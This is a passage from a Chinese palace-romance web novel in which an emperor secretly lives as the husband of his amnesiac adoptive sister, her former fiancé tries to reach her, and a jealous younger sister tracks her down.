他实在不明白,究竟发生了何事,他离开连一个时辰都没有,为何面前的皇帝陛下忽然从如沐春风变成千尺寒冰。 “……是。” 宋衍从来没有如此惊心胆战过,接下的几天,他都躲着沈遥。 每日依旧天不亮就离开,结束政事后回镇子很早。 可到时府时,却站在大门外,一直等到沈遥彻底入睡的消息,才入府回内院看她。 …… 而沈芯第三次等到晚膳,去太极殿寻宋衍,却都没见到人后,终于产生了怀疑。 银铃看着沈芯的脸色,立刻上前,掏出一包金叶子给大太监胡生递去。 胡生脸上堆满笑意,假意推了推,“姑娘这是折煞咱家了,咱家只是伺候陛下的低贱奴婢,陛下自己想去何处,咱家也拦不住啊,实在帮不上姑娘。” 见他这般说,沈芯微笑着上前,“公公便收下吧,也是小女见公公每日尽心竭力伺候陛下,想要感激来着。” 胡生没有说话,等着她继续。 沈芯说:“公公,小女虽然身无封号份位,却也是陛下的异姓妹妹,陛下对小女的重视,一直都不同于其他任何人,想必公公看得出来。” “那是,那是。” “小女只是身为妹妹,担忧自己兄长身体,每日到了晚膳却不吃饭,龙体最为贵重,若是因此生了病可就不好了。” 胡生精明一人,很快明白了沈芯的意思,接过银铃手中的金叶子藏到袖中,道:“姑娘不必忧心,陛下如今只是没住在宫里罢了。” “没住宫里?”沈芯诧异地睁大了眼睛。 一个皇帝不住皇宫,每天往外跑,究竟是为何。 见胡生不说更多,沈芯自知也无法再继续探听,便带着银铃离开。 在走回寝殿的路上,银铃一直瞥着沈芯,犹豫一番后,皱眉猜测,“姑娘,陛下以前可是一直都住在宫里的,你说这每日往外跑,莫不是因着外面的女人。” “女人!”沈芯惊叫一声,意识到自己声音有些大,又立刻捂住嘴,左右看看。 银铃眯着眼睛道:“姑娘不知,曾经先帝虽三宫六院,可有段时间却沉迷于宫外烟花巷柳之地的女子,最后那头牌怀了龙子,便将她带进宫,封了嫔。” “咱们陛下年纪轻,这后宫又无妃嫔,若想要疏解,去寻宫外妓子,也不是不可能。” 沈芯有些作呕,不敢置信,“这些烟花女子万人骑,如此肮脏低贱,还不知带着什么毛病,宫内那么多宫女,陛下找宫女不就好了?” 银铃叹息道:“姑娘未出阁,不懂,就是那些个妓子,床上功夫了得,宫内宫女虽干净,到底在这方面比不上。” 沈芯咬着唇,憋了满肚子怨气,忽然又想起什么,“诶,银铃,你是不是有个弟弟在宫外?叫什么来着,肖、肖金?下次陛下出宫,让你弟弟暗中跟着,我倒是想看看,究竟是什么女人,竟如此下贱,魅惑陛下。” “是肖秦,姑娘放心,奴婢定嘱咐下去。” …… 沈遥自那夜宿醉后,也是多日不见宋衍。 她开始烦闷起来。 坐在支摘窗旁,天色已晚,往常这时候她已经睡了,可是她今夜就是想看看,是不是夫君在刻意躲着自己。 沈遥决定,今夜不等到他,就不睡了。 一直到丑时,沈遥两个指头用力撑着眼皮,趴在桌上盯着蜡烛一点点燃烧,在她即将放弃时,锦书终于传话来:“夫人,姑爷回来了。” “啊……回来了……”沈遥有气无力地直起身,晃了晃脑袋,又喝下一杯凉水,让自己清醒过来。 “他来内院了么?” “姑爷回书房去了。”锦书抿唇低头。 “叫他来找我!”沈遥气不打一处来,“他若不来,我就不睡了。” 锦书一震,应下后忙不迭跑出寝室。这些天沈遥对她态度冷淡,她也是提着十二分心思伺候。 这次没有等很久,夫君终于踱步进入寝室,眼窝和她一样发黑。 宋衍实在无奈,他在时府大门口等了许久,没想到这个女人这么能熬,比顽固,他实在没辙。 他自己可以熬,却看不得她受罪。 沈遥此刻坐在美人榻上,皮笑肉不笑地看着宋衍走来,坐在她身旁。 她本想见他,可见了他后又想让人滚,于是只能自己生闷气。 感受到宋衍的靠近,青草的冷香一步步涌入,她屁股立刻往旁边挪了一步,没想到宋衍见状立刻跟上,衣物摩擦在一处。 于是她继续挪动,他也继续跟着,直到沈遥挪到了榻边,没注意竟坐空往下一摔。 宋衍眼疾手快,一手拉着她的手臂,一手勾住她的腰,将她带回到榻上,小心地呵护着,从上往下凝视着沈遥。 他忍不住笑了,“今夜怎么了?” 沈遥感受着上方传来的雄性气息,腰上的手很烫,似乎有蒲公英种子顺着被摩擦的皮肉处发了芽,顺着血液钻进心里。 她压制住乱跳的心,“哦,许久没见你了,我也没有刻意等你,只是今日白天睡得多了些。” 宋衍含笑嗯了一声,起身将她放开,手收回袖下摩挲着。 沈遥得了自由,坐正后也不再继续乱动了,两人忽然一时无话,只是盯着正前方明亮的蜡烛,一动不动。 宋衍忽然有些头疼,他想要试探一番那白鹤荷包,究竟是不是沈遥放在暗格中的,却不知如何开口。 他说:“书院又到验书的时候了。” 先寒暄一番,再慢慢试探,或许比较好。 宋衍看了一眼在窗台睡觉的小橘,如今已经成了一只小胖猫,在静谧的晚光下打着呼噜,让人感到极度舒适。 “这些时日,可有带着小橘去外院玩儿?” 沈遥没有回答,扭头看了他一眼,“时衍,你为何要混淆广玉兰与梨花树来骗我?” 宋衍脑子轰得一声,整个人僵住,瞳孔瞬间放大,连思考都停滞下来。 他万万没想到,她竟直接脱口戳破。 第25章 第25章情夫 沈遥预想过许多种夫君的解释,却没想到,他听到这个问题后的选择和南风一样,是遁逃。 果真上梁不正下梁歪,有什么样的主子,才有什么样的下人。 全体秉持着遇事就跑的传统。 当时夫君一言不发,定定看着自己许久,在沉默到她想抓耳挠腮时,南风突然来敲了寝室的房门,道有要事。 夫君整个人倏然就像被针戳破的豆汁泡泡,迅猛起身弹开,窗台上睡觉的猫儿受了惊,炸毛起身,几步跳至床上的被褥中。 他低着头留下句:“看起来有要事,忙完后,我与诺诺解释。” 沈遥斜躺上美人榻,拿过一旁团扇轻扇着,清冽的视线落在他身上没有挪开,心里堵了一口气。 宋衍承受不住她的视线与盘问,最后摸着鼻子离开了。 沈遥看着他消失的背影,和空荡下来的房间,冷笑一声抿唇。 锦书入屋内伺候沈遥洗漱时,想到当初说时府没有种过梨花的也是锦书,一时间看这丫鬟也顿时恼起来,“当初骗我梨花一事,究竟为何?” 锦书抬头看向她严肃的神情,手一抖,铜盆直接“咣 当“一声掉落在地,不假思索跪下道:“夫人,奴婢,奴婢什么都不知道啊。” 沈遥沉默后又道:“你究竟是时府的人,还是我的陪嫁,怎的心向着外面?” “夫人!饶恕奴婢吧!”锦书自然不敢说宋衍对自己的命令,更不敢说出真相,心急之下,只能哭了出来,金豆子大颗大颗往下掉。 沈遥无奈扭开头不看她,最后说:“你下去,换个人来伺候,这段日子你不用伺候我了。” 锦书哭得更大声了,可沈遥这次却铁了心肠,她无奈也只能离开。 这个和夫君同流合污的小混蛋,小叛徒。 夫君此人,说宠她时,是真的宠,却也叫人真是琢磨不透。 只是她没想到,这次夫君一走,便是两月不归,连封书信都没有。 …… 长安城宁府。 宁梓谦万万没想到,他回家一路都在为与宋衍作战而分别想出上中下三策,可还没能来得及实施,便被他爹给关了起来。 阿栗带着厨子刚做好的饭菜入屋,便听到一破风之声袭来,他侧身熟捻避开被扔过来的枕头,紧接着是宁梓谦暴躁的声音:“我说了!我不吃!不让我出去,我就绝食,死在宁家!阿栗你这个叛徒,亏得本公子往日对你如此好!你竟背叛于我!” 阿栗无奈上前,将一盘鸡翅与青菜一一摆好,看着背对着自己,正在面壁的公子,“公子啊,你要对抗的可是当今圣上,小的也是担忧你冲动之下,害了自己不说,还害了宁家,那可如何是好。” 见宁梓谦不说话,阿栗一番犹疑,还是告诉他:“况且,就算小的不说,老爷也都知道公子做了些甚。” “公子回来当天,圣上便派了人,来敲打了老爷一番。这事儿啊,说轻了,就是池塘里翻腾两下,说重了,那可是谋逆。” 宁梓谦这才转过身,吃惊之余,朝着阿栗递去几个眼刀子,“他娘的,真够卑鄙!我诺如今处在水深火热之中,我们怎能坐以待毙!” 阿栗斟上茶,推至他跟前,“公子,就算宁家再有钱,也只是商贾之家,想要对抗皇权,谈何容易?人家动动手,咱们就灰飞烟灭了。” “哼,我不信那臭小子如此恩将仇报,你可别忘了咱们宁家当初的功勋。” 阿栗长叹,“公子,虽说小的没读过书,不懂朝堂之事,可当初圣上为立稳脚跟,屠了多少氏族,你忘了啊。” 宁梓谦不说话,沉默了下来。 曾经他是一只知玩乐的纨绔子弟,在一次被赌场设计,围他至巷子墙角时,是沈遥出现,提着一把利剑,剑未出鞘便将四五个壮汉打跑,将他救下。 他记得那日墙上爬了一整片的凌霄花,带着艳丽的红盛开正旺,拼命汲取阳光,疯狂生长。 而面前出现的姑娘一身红衣,眉眼清丽。 也是那一次,他对沈遥一见钟情,他人生中,第一次知晓何为心动。 小姑娘本到了及笄之年,却为她那道貌岸然的弟弟拒了宁家求亲,生生把自己拖成老姑娘。 是沈遥告诉他,她喜欢读书人,虽他也知自己脑子不灵光,可为了她,他终是考上同进士出身,获封一个校书郎的轻松小官职。 他人生没有太大的抱负与追求,只想要娶心爱女子,与其白头到老。 本已到迎亲,只差临门一脚,却偏偏所有努力,在权力面前皆化为泡影。 阿栗见他不说话,也劝不动他,只得摇头离开。 公子自以为靠绝食能逼迫家主放他,殊不知,他每日盘中偷吃两个鸡翅,即便再重新悄悄将剩下的摆盘回去,稍微有点儿眼力见儿的人都看得出问题。 也就公子这傻小子还以为自己做的天衣无缝,这脑子,家主不看着,绝对会害惨宁家。 待夜深人静后,宁梓谦坐不住了,几日绝食都未能换来父亲心软,可见并无甚用,一切只得靠自己。 他听着外面家丁动静,见时机已到,便往后窗而去,将这些时日用匕首切割的最后一根木条取下,空出的位置大小将好适合他体型。 一番麻利动作,他翻窗而出,寻来梯子爬上墙头,逃出宁府,一身狼狈地往葫芦镇而去。 …… 沈遥没想到在葫芦镇又见到了宁梓谦。 时府内院寝室中。 她垂眸望着铜镜中的自己,面容姣好,皮肤细嫩,乌发如云,她对自己外貌是极为自信的。 夫君走后的几天,她照样吃吃喝喝,可一周过后不见人回,她还是隐隐对自己产生了怀疑。 难道她过分了么? 可她想要的,好像仅仅也只是一个解释而已。 夫君有家不回,莫非是真的生气了? 端午那天夜里,她确实喝醉了,最开始也睡了过去。 可夫君不知,她其实醉得快,醒得更快。 当夫君靠近她,气息喷到她脸上时,她便清醒过来。当时她闭着眼睛,以为夫君只是看看她。 却没想到,他竟隔了条巾帕,吻上她。 夫君的唇又软又热,她当下就起了欲,看他吻的如此青涩又小心翼翼,她亦是惊讶万分。 整个人又呆又麻,后来回神时,夫君已然起身,没发现她通红的耳根子。 最后为了避免尴尬,她在半醉下继续装醉,彻底闭上眼睛睡过去。 那夜之前,她因着梨花一事,思索着夫君欺骗自己的目的,甚至也想过,待寻到真相后,要不直接离开时府,离开葫芦镇,去扬州寻义父义母得了。 可那夜的吻,让她心如鹿撞,即便知晓自己喝醉了,也没能真正睡着。 直到第二日头疼得紧,困得不行才终于睡去。 在床上辗转反侧时,她也曾想过,夫君平日对自己的好,一点一滴她都看在眼中,不至于害她。 可是,他真的在乎她吗? 若是真的,又怎会一走了之这么久的时日。 要不,梨花一事,就这么算了? 心不在焉多日,沈遥有意无意朝着锦书打探夫君消息,却都杳无音讯。 后来过了一个月,沈遥放弃了,每日该做什么做什么,尝试着彻底将他抛至一旁。 沈遥有一段时日没有理会锦书,可后来发现锦书私下仍在用心伺候自己,还把手弄得全是伤,也不敢出现在她面前,终究还是心软。 罢了。 毕竟只是一个下人,主子要求的事情,身为奴婢的哪儿有选择。 锦书如今每日想方设法讨好沈遥,表忠心。 见她除了对着院中的广玉兰发呆,就是逗逗小橘,再无其他。 恰巧这日天朗气清,便主动提议陪着她出街逛逛。 沈遥带着锦书去了那日的小酒馆,行至桥边,一阵风过,柳絮飘零,迷了她眼。 她忽然忆起端午那夜,清亮的月色,美妙的童声,还有那个小心翼翼的吻。 原本他们坐过的地方坐着另一个人,是每日到柳树下练功的赵大爷,正在小酌白酒。 见到沈遥后笑着挥手,朝她打招呼:“哟,时夫人,又见面了。今儿天好,可来喝点儿小酒?” 葫芦镇小,沈遥却和镇上的人都不熟络,似有隔阂,大家几乎不会与她主动说话,除了曾经的叶家姐妹。 却没想到,唯一的,还称不上朋友的人也离开此地。 她的生活中没有交际,不敢离开镇子,没有经济来源。所依赖的,只有夫君一人。 她曾和锦书聊过,可锦书告诉她:“这世道除了妓子与奴仆,哪儿有女子出门抛头露面的。姑爷把所有的都给夫人了,若夫人还整日想着往外交际,虽姑爷不提,可到底遭外人耻笑。” “姑爷满心满眼都是夫人,也是担忧夫人单纯易被人骗,安心待在家中便是。” 沈遥那时沉默良久, 自此后没再提起过类似的事儿。 而葫芦镇中,赵大爷竟是唯一经常在河边偶遇,会朝她打招呼,随意聊几句的人。此人一把年纪,看上去七、八十,已是极为长寿,听闻曾是一教书先生。 她笑笑,落座至赵大爷对面,锦书站至身后。 她本想叫壶烧酒,可在锦书的提醒下,还是换成最不易醉的清酒。 沈遥抿唇,将锦书打发走,见人没影儿,便又叫了壶烧酒。 赵大爷看着此情形,忍不住笑了笑,他眯着眼睛,摸着胡须,“时夫人心情不好?” 沈遥一怔,本以为自己隐藏的很好。 她想假装无碍,犹豫一番后,却还是问:“大爷,不知与家中夫人相处如何?” “诶?怎会有此一问?” 沈遥说:“上次听大娘说起,你们婚姻已过五十多年,这么久的时日,可遇到过吵架?或是……一方隐瞒了另一方什么?” 赵大爷饮下一口白酒,“五十年光阴,说没有,是不可能的。老夫与夫人少年结发,一路走来,其实磕磕绊绊不少。诶,说起来,还真瞒了家里夫人件事儿。” 沈遥来了兴趣,“何事?” “夫人吃斋念佛,便也要求家中人一同戒去荤腥。诶呀,老夫这人又是无肉不欢,便在灶下藏了熏肉,时常趁她不注意时偷吃些个。本以为这瞒得很好,哪儿知夫人其实一直都知晓。” 沈遥哑然失笑,“令夫人生气了么?” “夫人假装不知,任由着老夫偷吃那肉,这几十年也是相安无事。是人呐,都有私心,这姻缘啊,讲究的是寻到一舒适的方法过下去。有时睁一只眼,闭一只眼,也就过来了。” “令夫人倒是心偏着大爷。” 赵大爷将杯中白酒饮尽,笑笑没有说话。 正在此时,忽然熟悉声音从小桥上传来:“诺诺——” 沈遥扭头看去,竟是许久未曾见过的采花大盗宁梓谦,身上穿着的仍是那件暗红锦袍,只是被扯破了些许。 这人胆子不小,被官府通缉竟还光明正大来寻她。 沈遥还来不及吃惊时,身旁的赵大爷忽然惊叫一声,捂着头摔到了地上,浑身抽搐,口水直流。 她吓得倒吸一口凉气,立刻两步上前蹲下,拍着他的肩膀:“大爷!大爷!你怎么了?” 沈遥即便读了不少医书,却从未遇到过这样的情况,此时锦书又不在身边,一时紧张得心里抽抽。 四周看客皆聚集起来,却无人知晓如何处理此等状况。 倏然一阵疾风擦过耳际,她就这样看着宁梓谦冲过来,蹲下掰着赵大爷的脸探查片刻,“是癫疾发作!” 他眼疾手快,从一旁桌上抽出几根箸,将其卡到大爷牙间,又倾身把人扛到背上,朝着沈遥急切发问:“镇上医馆何处?” 沈遥不敢多思虑,立刻起身,道了一声随我来,便带着宁梓谦往医馆奔去。 所幸他们来得快,郎中很快为赵大爷施针,又开了药方,暂时稳下病情。沈遥不见赵大爷家人,便先为其垫付了银钱。 她扭头看向一旁的宁梓谦,脸灰扑扑的,身上沾着些个草屑,眼眸中却充斥着阳光与正义。与她了解的那个采花大盗,似乎不同。 “今日,多亏了你,否则我也不知该如何。” 虽然此人乃罪犯,可就事论事,今日是他救了赵大爷。 宁梓谦挠挠头,羞涩一笑,“别客气,我也是家中兄长患有同样的癫疾,知晓的便比旁人多了些。” 他想到什么,又放下手,问她:“诺诺,你真的不记得我是何人了么?一点儿印象都没有吗?” 沈遥看着他眼中的期待,却只能摇头,“我撞了头,确实不记得了。我们以前……真的认识?” 宁梓谦失落得耷拉着脑袋,他想将一切真相说与沈遥,可在开口时,脑海中又闪过宋衍曾在他耳边威胁的话语。 他确实,没有办法对抗皇权,也没有办法弃宁家不顾,但也想将沈遥救出。 或许一切得从长计划,循序渐进。 “没关系,我们重新认识便好,你相信我,我对你真的没有恶意。” 沈遥“嗯”了一声,垂下眸子,捏着手中袖子。 宁梓谦从怀中掏出一只糖人递给她,“这是你最爱的小食,我从长安来时的路上特意买的。” 沈遥怔住,没接那糖人。 忽然一群混乱的脚步声传来,两人转身一看,不知是谁叫了官兵,正成群朝此地赶来。 宁梓谦咒骂一声“他娘的”,来不及寒暄更多,便将糖人直接塞到沈遥手中,扭头就跑,兔子般快,转眼消失无踪。 沈遥垂眸看着手中的糖人,是个胖兔子。 他若真不识得自己,又怎知她喜好? 宁梓谦,你究竟是何人? …… 太原府的宋衍,骑于一匹白色大宛马上,身后跟随千牛卫众人,缓步巡视过军营。 两月前,北部边境发生动乱,非异族入侵,而是当地节度使联合氏族造反。好在火苗才刚燃起,便被迅速扑灭。 宋衍亲临,直接将犯上作乱的氏族满门抄斩,整个边塞又是一阵兵荒马乱,血流成河,人人自危。 待该杀的人都杀了,他提拔新任北庭节度使后,又稳定边境军心,直到前几日,才往南回。 最紧急的已经过去,可是他仍在磨蹭,路上一边犒军,一边抚民。 当地太守陪在宋衍身边,嘴巴不停地恭维。 他一句话也没听进去,只是面色阴沉,仍在思考着如何解释那梨花一事。 唯一停下脚步,是听到几个士卒在私下闲聊。其中一人吹嘘着自己御女无数,参军前乃是当地出了名的风流公子。 男人之间的话题无非就是这些,战争,军功,女人。 他对女人的话题一向不屑,此刻却着了魔一般,听着那士卒大笑道:“女人生气哄不好?这有何难?抱着亲一顿就行,还不听话,就扔上床,干她一顿,结束后保准对你言听计从。” 粗鄙不堪! 宋衍蹙眉,扭头就走,几个跟在后面的将领面色难看,见他离开后立刻上前教训那几个说话肮脏的士卒。 结束巡视后,太守在府衙设了宴,除了各级将领,新任北庭节度使还带了一女子入席。 那女子面若桃花,年龄看上去很小,却生得前凸后翘。 “小女若若,家父北庭节度使,今日特地前来参见陛下。” 节度使心底打着什么主意,宴中所有人皆看得出来,却皆眼观鼻鼻观心,不出头说话。 听着那女子的名字,宋衍一怔,收回神思多看了若若一眼。 太守脸笑成了褶子,“陛下在太原府停留多日,今日若若小姐终于见得陛下,特意排了一舞,请陛下赏脸。” 宋衍抬起桌前的酒,饮了一口,“嗯”了一声算是准许。 若若心头一喜,很快席间伴舞奏乐皆上来,丝竹声声跃入宾客耳中。 一舞毕,若若抬头却发现宋衍正低着头,没看自己,也不知再想什么。得不到回应也不气馁,便落座回节度使身侧。 她眼睛一直没离开宋衍,低声嘟囔着:“没想到陛下如此年轻英俊,人虽冷漠,却也温和,与边境那边的传言完全不一样嘛。” 节度使笑着瞥她一眼,眼中满是对女儿的宠溺,低声窃窃私语:“爹早跟你说过,怎会骗你?只是这位陛下一直不近女色,怕是难。” 若若朝着他自信一笑,“那只是因为陛下年轻,假以时日,女儿定得青睐。” 在两人悄悄说话时,太守拿着酒杯上前又是一大段恭维宋衍的话,各种华丽词藻,极为浮夸。 宋衍淡淡一瞥他,没有说话。 太守也不觉丢脸或是尴尬,继续大胆道:“如今陛下 仍未娶妻,北境又刚刚稳下来,若能与节度使联姻,必定能凝聚北庭氏族与军心。” 宋衍往屋外看去,士卒整齐列阵在外守着,那个方向,刚好是长安。 太守还想说什么,宋衍打断:“行了,朕已有夫人。” “啊?”太守一时懵了头,宴会中所有人都一头雾水,面面相觑。 不对啊,后位如今不是还空悬么?后宫也是空无一人。娶妻?何时发生的事儿? 节度使蹙眉低声道:“看来,陛下无意将后位给我们。” 若若咬唇,并不相信什么夫人的存在,只觉得是拒绝的借口。 “那又怎样?这可是天子,就算做皇家妾我也愿。况且陛下刚才都看我了,定然有几分心思。” 节度使却是心底不满,如今他算是手握重兵,待蛰伏假以时日,定权势滔天。他崔家的女儿可不会是皇家妾,只会是皇后。 想到前些时日暗中收到的消息,他眯眼。 若到不得已之时,那也只能让龙椅上那位换一人了。 宋衍自是没听到父女俩的低语,只是又忽然垂眸沉默。 离开诺诺这许多时日,也不知她可否想念,得回去了。 无论是什么,哪怕抽他几十鞭,都得面对。 太守脸皮再厚,也说不出话了。 心里也觉得,这怕只是皇帝为了拒绝联姻的借口,若是大周有了皇后,他们这些人怎会不知。 正在此时,一快马从远处奔袭而来,是南风。 “陛下——” 南风跑入房中,穿过舞姬,在到达宋衍面前时跪下,面色慌张,不成体统。 宋衍正想说他两句时,南风大声喊道:“陛下!那情夫又找上夫人了!” 那声音震耳欲聋,转瞬间,四周鸦雀无声,宾客们嘴张得鸡蛋一般大,迅速低下头不敢窥视半分。 第26章 第26章恕我犯上 宋衍回到时府时,已经过了盛夏最闷热的一段时日。 洁白无瑕的广玉兰刚被雨水洗涤过,又偏偏带着一点黄,雨水未干,叶上水珠坠落,发出轻微的“滴答”声,仿佛击在心弦之上。花香从远处凝结,赶走肺腑中的空气,将过往的虚妄与心虚一并揉碎,填满了他的呼吸,压得他心头发闷。 沈遥此时一身淡红圆领缺胯袍,头发高束簪花,脚踩软靴,手持木剑。经过长时间的练习,曾经粗糙的剑术如今愈发流畅,有了恢复到失忆前的势头。 宋衍头戴金冠,身着玄色华服,背手,定定站在垂花门口,看着她练剑,倏然间,钻入鼻腔的广玉兰香在心头无声散去。 他清楚地感觉到,随着她一点点找回失落的自己,他愈发抓不住了。 沈遥一个旋身转体后,地上积水飞溅,终于收起木剑,往垂花门看去。 阳光正盛,可她看不清他黑眸里的东西。 时隔两个半月,夫君竟还知道回来。 时府下人如今已经被训得极守规矩,到了夜间,整个府邸安静得只剩下蝉鸣。她时常坐在巨大而空旷的拔步床上,点着一盏小灯。 她时常怀疑自己戳破夫君梨花树骗局的举动是否正确,回忆里,他的温柔与欺骗交缠成茧,勒得她无法喘息。 灯在密闭的空间内将她的身影拉得很长,有一段时日,她要到很晚才能堪堪入睡。 可愧疚、怨怼、失望……通通撕扯到最后,终于被一种深沉的倦意碾得粉碎。 最后,她已无心再去追问真相。 无论他何时归家,无论他是否在归家时会带回一个女子,朝着自己敬妾茶,她都不想再承担这份委屈。 如今他回来了,身边也没带着另一个女人。 他还没向自己解释梨花树与广玉兰。 不过也无所谓了。 隔着花树的香影与光斑,沈遥与宋衍对视片刻,收着木剑转身离开,回了内院。 而宋衍这一路上建立起来的勇气,包括他跳动强烈的心脏,顷刻间又化为齑粉,只留下一滩难堪的血水。 不过好在,她似乎还不知晓真相,而那宁梓谦也也踪迹全无。 良久沉默后,他最终还是迈开步子,打算追上去,却被锦书挡在内院外。 锦书将视线从紧闭的房门收回,低着头,心惊胆颤道:“姑爷,夫人说她累了,需要歇息。还让奴婢嘱咐姑爷,一路舟车劳顿,先用膳沐浴,而后也好生歇息歇息。” 宋衍脸色前所未有的难看,不断抠着左手大拇指指甲盖,直到抠出血迹才终于停下。 他沉默地看着寝室许久,也没看到沈遥的影子,最后攥拳转身,直接又离开时府。 …… 另一边太极宫中。 沈芯震惊地看着面前的肖秦,“你说什么?真的是个女人!你真的跟上陛下了?” 肖秦一身黑衣斗篷,曾经先帝还在时,给大族做过一段时日的暗卫。后来宋衍入主长安,氏族尽数被屠,他因着在外任务的原因,逃过一劫。那之后,在城中做了收粪的青衣。 他斜眼轻哼,“小的在陛下回来后便暗中跟上了。沈姑娘莫不是看不起小的?” “自然、没有。”沈芯低下头咬牙,清丽又单纯的眼眸划过另一丝不同寻常的暗光,声音依旧温婉,“可是、可是,陛下不是从来不近女色么?” 银铃气不打一处来,“姑娘,忘记奴婢与你说过的了?陛下再怎样,也是个男人啊。” “可陛下贵为天子,为何此番掩藏作为?不将其带入后宫?” 银铃也有相同疑惑,最后猜测,“许是个妓子,身份低贱。陛下一向注重名声,若未立后便将妓子纳妃,定会遭到朝臣反对。” 肖秦继续说:“陛下在葫芦镇安置的宅子,那整个宅子暗卫极多,小的无法太过接近,看得不清楚,却能看出是个美人,不难怪陛下将其藏着掖着。” 沈芯背过身子,倏然间面色苍白,捂着心口,咳得停不下来,看着面前悬挂的丹青。 画上女子身着红衣,手持利剑,驾于白马之上,眉眼间除了世间罕见的纯净,更是夹杂着英气。 是她画笔下的沈遥。 她一直都知道,在宋衍心里,她比不上沈遥的地位。 自沈遥失踪后,她画过无数张这样的丹青,只为了多得他几分关注。 看着如今闭眼都能画得栩栩如生的丹青,她苦涩暗笑。 没想到,即便没有了阿姐,他也会有别的女人。 也是,毕竟沈遥是他的阿姐,不是他的女人,无论如何,他身为帝王,都会有无数女人。 一个妓子罢了,她沈芯总有一日,会成为他最重要,最特殊的那个。 沈芯深呼吸平静下来后,转过身,柔柔请求道:“接下来,还请肖大哥继续盯着,有劳了。” 说着,她上前给肖秦和银铃分别递上两包金叶子。 两人假意推拒后又接过,相视一笑,肖秦变了副嘴脸,恭道:“沈姑娘放心,这事儿交给小的,有任何消息,小的都会告知姑娘。” 当夜,沈芯终于见上宋衍一面,可他却浑身散发着戾气。 她将手中画卷递给胡生,朝着宋衍行礼,“参见陛下,这是绵绵前日刚完成的丹青,今日终于能送到陛下手中。” 胡生将画展开,宋衍抬头望去,是鲜衣怒马的阿姐,活灵活现,与今天白日里院中的她如出一辙。 他颔首,示意胡生将画收好。 沈芯上前两步,面上担忧,“陛下今日心情不好?是边境之事不顺吗?” 宋衍靠在龙椅上,闭眼按压着太阳穴,“很顺利。” 见他不愿与自己多说,沈芯咬唇,又捂着嘴咳了两声。 宋衍听到后睁开眼,看着面前的沈芯,发现她脸色又白了些,“今日可看过太医?” “陛下放心,看过了。太医每日都来给绵绵问诊。”沈芯因着小小的关心而窃喜,很快又关心他:“绵绵虽力薄,可陛下若有烦闷之事,也可说与绵绵,只是实恨自己不是阿姐,也不是男儿身。” 提起沈遥,宋衍暗自叹息。 沉吟片刻后,他问:“若……你被重要之人识破谎言,你会如何面对?” 沈芯听到此问后,立刻就想到了那个被宋衍藏在葫芦镇的女人,袖下手指掰着,转瞬即逝划过阴沉,很快又脸上重新带笑,柔声道:“那我定会与那人解释欺骗他的原因,并求得原谅。” “嗯。”是该如此。 她所 言,宋衍又何尝不知。 只是在面对阿姐时,总是心生胆怯,不成样子。 沈芯回到自己寝殿后,便让银铃重新将肖秦叫来。 银铃不解,她抿着唇深呼吸道:“本以为只是个靠媚色惑人的妓子,没想到陛下竟上了心。不能再坐以待毙下去,我定要亲自去会会那女人。” …… 沈芯没有耽搁时日,翌日一大早,便跟随着肖秦往葫芦镇去。 天空又开始飘起细雨,好在不大,虽有着夏日的热度,她还是裹了厚厚一身披风。 在肖秦带着她躲过众多暗卫时,她更是确信了这女人对宋衍的重要性。 两人到达时府门口后,便只得在寻到一隐蔽之处守株待兔,宅子内安静如斯,连洒扫的声音都传不出来。 长时间的疲累让沈芯有些站不住,只得靠在立柱上勉强维持着。 她狐疑,“我们就在门口等着?若她今日不出来怎办?” 肖秦往四周查探,低声道:“那就得翻墙,可沈姑娘身子可撑得住?” 他听闻沈芯身体不好,这出来一趟才发觉,竟是比想象中严重。 沈芯捂着胸口,唇色发白,转头看了一眼灰色高墙,阳光正好从对面刺过来,闪了下她的眼。 “我爬不上去。” 正想放弃时,时府大门忽然吱呀一声被拉开,两人一怔,立刻窥视过去。 走出一女子,长得秀气,可却极为普通。 沈芯蹙眉,心道不过如此,竟也能得宋衍垂青。 直到那女子身后跟着走出另一名女子,沈芯双眼逐渐睁大,在某一瞬间,有些发黑。 柔和脸颊却带着英气,眉若远山,眼若秋水,仪态万方。 那张脸是她无数次下笔,闭着眼睛都能画出的脸,失踪已久的,她和宋衍的阿姐,沈遥。 沈芯呼吸一窒,竟起身不受控制走出那处角落。 肖秦一惊,低声呼她回来,她却毫无反应,又往前走了几步。 直到沈遥察觉,停住脚步,转过头,与沈芯对上视线。 可是令沈芯没想到的是,沈遥没有认出她,瞳中竟满是陌生。 这是怎么回事? 这分明是阿姐,就是阿姐。 沈遥被对方看得有些不适,不解道:“你是谁?为何一直看着我?” 沈芯眉头皱成了川子,神游了好一会儿,正想说话时,一只手猛得抓住她的胳膊,力气大到令她骨头发疼。 “你怎么在这儿?” 沈芯转头,是刚刚来此的宋衍。 他眼中透着她从未见过的阴鸷,浑身发散着寒意,往日温柔彻底消失无踪,她心底一咯噔。 转头一看,不知肖秦去了何处。 “陛……” “跟我来!”沈芯话还未说完,就被宋衍打断。 他没有看沈遥的神情,直接一手抓着人塞进马车,自己跟上后,马车便往葫芦镇外疾驰而去。 他动作极为粗鲁,将沈芯甩到车壁上,一言不发。 她揉着自己胳膊,双眼泛红,低着头不敢说话。 不知过了多久,当她下车后才发觉,已经回了皇宫。 回到寝殿后,她面前的两人被五花大绑,堵着嘴扔在地上。 是银铃和肖秦。 沈芯此时终于意识到,她踩了他的底线。 这副她从未见过的面孔,让她开始止不住地颤抖。 宋衍紧盯着,低声阴仄仄道:“谁给你的胆子!竟敢跟踪朕!” “你以为姓沈,便可无法无天了么?朕说实话,除了阿姐,朕六亲不认。” “对、对不起,我只是、只是好奇,我什么都没与阿姐说……” 沈芯算是聪慧,想到当初阿姐成亲,轿子滚落山崖,早已猜出了究竟怎么回事。此刻直接被吓得哭了出来,梨花带雨,见他眼中仍是冷血,她跪下来,抓着他的衣摆。 “阿兄!阿兄!原谅绵绵啊,绵绵只是担忧阿兄被外面的女人所魅惑,才叫人跟着。” 见他不为所动,沈芯哭得更大声,“阿兄,我不会说出去的,真的,别怪绵绵,阿兄!再怎么说,阿姐也是我的长姐,阿兄是我的二哥啊!阿兄真的六亲不认,那绵绵是什么?绵绵是什么啊!” 沈芯此刻终于意识到,宋衍是皇帝,是屠灭多少著姓氏族的那位冷血帝王。 而他对沈遥的心思,不是阿弟对阿姐的心思,而是男人对女人的心思。 而他的占有欲,比其他男人更深,更偏执。 或许在这个世界上,对宋衍来说,只有沈遥,和其他人的区别。 幸运的是,她被划分在沈遥的圈子中,但也很遗憾,她依然是其他人。 她哭着哭着,开始捂着心头,剧烈地咳起来,整个人撑了一早上,终于忍不住倒地,脸色唇色皆是发白。 宋衍冷眼扫去,毕竟是沈遥的亲妹,他还是让人去叫了太医。 